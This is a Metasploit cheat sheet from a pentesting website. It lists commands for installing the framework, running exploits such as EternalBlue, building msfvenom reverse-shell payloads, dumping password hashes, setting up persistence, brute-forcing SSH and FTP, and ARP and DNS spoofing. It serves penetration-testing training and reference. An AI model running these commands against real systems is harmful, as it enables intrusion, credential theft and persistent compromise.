Pentesting.Site - Metasploit Cheat Sheet

Metasploit is a widely-used security tool for penetration testing, vulnerability scanning, and exploit development. It helps security professionals identify weaknesses, automate attacks, and validate defenses, making it an essential asset for both offensive and defensive cybersecurity strategies.

Download Metasploit

Installation and Setup

Installing the Metasploit Framework on Windows

Download the Windows Installer.
After downloading the installer, locate the file, right-click, and select Run as Administrator.
When the Setup screen appears, click Next to continue.
Read the license agreement and select the I accept the license agreement option. Click Next to continue.
Browse to the location where you want to install the Metasploit Framework. By default, the framework is installed on the C:\ Metasploit-framework directory. Click Next to continue.
Click Install.
When the installation completes, click the Finish button.

To launch msfconsole after the installation completes, run the following from the command line:

1
msfconsole.bat

Installing the Metasploit Framework on Linux

Open the terminal.

Enter the following command to add the build repository and install the Metasploit Framework package:

1
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

After the installation completes, open a terminal window and type the following to start msfconsole:

1
./msfconsole

The prompt asks if you want to use and set up a new database. Type y or yes to run the initial configuration script to create the initial database.

To check to see if the database was set up, run the following command:

1
db_status

If the Metasploit Framework successfully connected to the database, the following status displays:

1
[*] postgresql connected to msf

Running, Connecting and Update

1
msfconsole                                                      #Start the Metasploit Console
2
msfvenom -h                                                     #Display msfvenom Help
3
msfdb init                                                      #Initialize Metasploit Database
4
msfconsole -x "db_connect user:password@localhost/metasploit"   #Connect to Metasploit Database
5
msfupdate                                                       #Update Metasploit Framework

Exploit Commands

1
use exploit/windows/smb/ms17_010_eternalblue   #Select Exploit (Eternal Blue Example)
2
use exploit/unix/ftp/vsftpd_234_backdoor       #Select Exploit (vsFTP Example)
3
search exploit_type:remote                     #Search for remote exploits
4
show exploits                                  #Show all available exploits
5
set RHOSTS 10.1.1.1                            #Set Remote Host
6
set RPORT 445                                  #Set Remote Port
7
set PAYLOAD windows/meterpreter/reverse_tcp    #Set Payload
8
exploit                                        #Run Exploit
9
run                                            #Run Exploit
10
exploit -j -z                                  #Run exploit in the background (jobs mode)

Payload Generation

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.1.1.1 LPORT=4444 -f exe > payload.exe       #Create Windows Reverse TCP Payload
2
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.1.1.1 LPORT=4444 -f elf > payload.elf           #Create Linux Reverse TCP Payload
3
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.1.1.1 LPORT=4444 -f raw > payload.php           #Create PHP Reverse TCP Payload
4
msfvenom -p windows/meterpreter/reverse_https LHOST=10.1.1.1 LPORT=4444 -f exe > payload.exe     #Create Reverse HTTPS Payload
5
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.1.1.1 LPORT=4444 -f exe > payload.exe   #Create x64 Payload

Post-Exploitation

1
sessions -l                                       #List all active sessions
2
sessions -i 1                                     #Interact with session 1
3
sysinfo                                           #Get System Information
4
getuid                                            #Get current user ID
5
hashdump                                          #Dump Windows Hashes
6
migrate 1234                                      #Migrate to process ID 1234
7
run persistence -U -X -i 5 -p 4444 -r 10.1.1.1    #Set up persistence

Session Management

1
sessions -i 1               #Interact with session 1
2
sessions -k 1               #Kill session 1
3
sessions -L                 #List all sessions
4
sessions -t 1               #List detailed information about session 1
5
background                  #Send session to background
6
exit                        #Exit the current session

Brute Force and Password Cracking

1
use auxiliary/scanner/ssh/ssh_login          #SSH Brute Force Scanner
2
set RHOSTS 10.1.1.1                          #Set target host
3
set USER_FILE /path/to/usernames.txt         #Set file with usernames
4
set PASS_FILE /path/to/passwords.txt         #Set file with passwords
5
run                                          #Run Brute Force Attack
6

7
use auxiliary/scanner/ftp/ftp_login          #FTP Brute Force Scanner
8
set RHOSTS 10.1.1.1                          #Set target host
9
set USER_FILE /path/to/usernames.txt         #Set file with usernames
10
set PASS_FILE /path/to/passwords.txt         #Set file with passwords
11
run                                          #Run FTP Brute Force Attack

Network Attacks

1
use auxiliary/spoof/dns/forwarder           #DNS Spoofing
2
set RHOSTS 10.1.1.1                         #Set target host
3
set LHOST 10.1.1.1                          #Set local host
4
run                                         #Run DNS Spoofing
5

6
use auxiliary/spoof/arp/arp_poisoning       #ARP Spoofing
7
set RHOSTS 10.1.1.1                         #Set target host
8
set INTERFACE eth0                          #Set Network Interface
9
run                                         #Run ARP Spoofing

Service Enumeration

1
use auxiliary/scanner/smb/smb_version       #SMB Version Enumeration
2
set RHOSTS 10.1.1.1                         #Set target host
3
run                                         #Run SMB version scan
4

5
use auxiliary/scanner/ftp/ftp_version       #FTP Version Enumeration
6
set RHOSTS 10.1.1.1                         #Set target host
7
run                                         #Run FTP version scan
8

9
use auxiliary/scanner/ssh/ssh_version       #SSH Version Enumeration
10
set RHOSTS 10.1.1.1                         #Set target host
11
run                                         #Run SSH version scan

Web Application Exploitation

1
use exploit/unix/webapp/php_cgi_arg_injection   #PHP CGI Argument Injection Exploit
2
set RHOSTS 10.1.1.1                             #Set target host
3
set RPORT 80                                    #Set target port
4
run                                             #Run Exploit
5

6
use auxiliary/scanner/http/dir_scanner          #Directory Bruteforce Scanner
7
set RHOSTS 10.1.1.1                             #Set target host
8
set PATHS /path/to/wordlist                     #Set wordlist for directories
9
run                                             #Run Brute Force Directory Scanner

Privilege Escalation

1
use post/multi/recon/local_exploit_suggester   #Suggest Exploits for Privilege Escalation
2
set SESSION 1                                  #Set session ID
3
run                                            #Run the exploit suggestion
4

5
use post/windows/gather/enum_tokens            #Gather tokens for privilege escalation
6
set SESSION 1                                  #Set session ID
7
run                                            #Run token enumeration

Meterpreter Commands

1
sysinfo                                              #Get system information
2
getuid                                               #Get current user ID
3
upload /path/to/file /tmp/                           #Upload a file to the target system
4
download /tmp/file /path/to/save/                    #Download a file from the target system
5
run persistence -U -X -i 5 -p 4444 -r 10.1.1.1       #Set up persistence
6
shell                                                #Drop into a system shell

Auxiliary Modules

1
use auxiliary/scanner/portscan/tcp           #TCP Port Scanner
2
set RHOSTS 10.1.1.1                          #Set target host
3
set THREADS 10                               #Set number of threads
4
run                                          #Run Port Scan
5

6
use auxiliary/admin/smb/smb_enumshares       #SMB Share Enumeration
7
set RHOSTS 10.1.1.1                          #Set target host
8
run                                          #Run SMB Share Enumeration

Vulnerability Scanning and Information Gathering

1
use auxiliary/scanner/http/dir_scanner           #Directory Scanner
2
set RHOSTS 10.1.1.1                              #Set target host
3
set PATHS /usr/share/wordlists/dirb/common.txt   #Set directory wordlist
4
run                                              #Run Directory scan
5

6
use auxiliary/scanner/ssl/ssl_version            #SSL Version Enumeration
7
set RHOSTS 10.1.1.1                              #Set target host
8
run                                              #Run SSL scan

Tunneling and Proxying

1
use auxiliary/server/socks_proxy            #Start SOCKS Proxy
2
set SRVPORT 1080                            #Set proxy port
3
run                                         #Run proxy server
4

5
use auxiliary/server/http_proxy             #Start HTTP Proxy
6
set SRVPORT 8080                            #Set HTTP proxy port
7
run                                         #Run HTTP proxy server